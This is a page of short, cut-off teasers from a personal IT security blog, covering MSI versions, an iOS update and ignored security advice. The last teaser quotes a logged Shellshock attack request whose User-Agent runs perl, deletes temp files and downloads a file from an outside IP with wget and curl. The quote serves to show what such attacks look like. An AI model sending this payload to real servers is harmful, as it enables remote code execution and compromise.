General

How to get the version of an MSI package in Linux

Ever tried to get the version of an MSI package on Linux ? Exiftool doesn’t do that, unfortunately. I requested it in the forum, let’s see if somebody jumps on it. 🙂 Until then, try to use the system utility “file” and do some parsing on the bold red text. #file google.msi: Composite Document File […]

General

Microsoft, you’re not as smart as you thing you are!

I was installing an update of OneNote and I suddenly received this popup:   Continuing could be expensive” You’re connected to a network that limits downloads every month. We need to stream some large files over your network connection to install Ofifice, so we recommend installing while connected to an unrestricted netowork. … Seriourly, Microsoft? […]

General

Do you know what makes the Internet so slow?

According to some online sources, PORN is what uses around 30% of the Internet’s bandwidth. Why do I care about this?   Because the top searches in my news portal IT Security News (www.itsecuritynews.info) are: nude videos, porn and naked pictures of celebrities. I guess we are living in a very … lonely world.   This is also how […]

News

Top 500 cybersecurity companies

Not so many people outside of the IT Security business know which are the top 500 companies in this field. Cybersecurity Ventures has published this top: check it here. I am not allowed to reproduce any parts of it, but I can tell you that the number 1 is FireEye. From the AV world, we […]

General News

Why security recommendations often get ignored

I read very often about vulnerabilities and companies that got hacked. Many times, the reason for which they got hacked was because some recommendation issued by some smart people (read: security minded people) are ignored.   But why are they ignored? I found some articles where several explanations are given for what is called “information avoidance“. […]

Security

Massive security update for all Apple devices: iOS 8.3

39 fixes are supposed to be delivered via iOS 8.3. Areas like KeyStore, Drivers, Backup, Kernel, Certificate Trust Policy, Networking, Lock Screen, Safari and the WebKit,  and many more are being fixed. Apple doesn’t provide how critical the issues were, but from what I see there, at least a dozen or so made me raise my […]

General

How a Shellshock exploit attempt looks like

One of my HTTP servers hosted on an Amazon EC2 receives regularly strange requests like these:   One such request looks like this: GET /cgi-bin/php5 HTTP/1.1 Accept: / Accept-Language: en-us Accept-Encoding: gzip, deflate User-Agent: () { :;};/usr/bin/perl -e ‘print “Content-Type: text/plainrnrnXSUCCESS!”;system(“cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; […]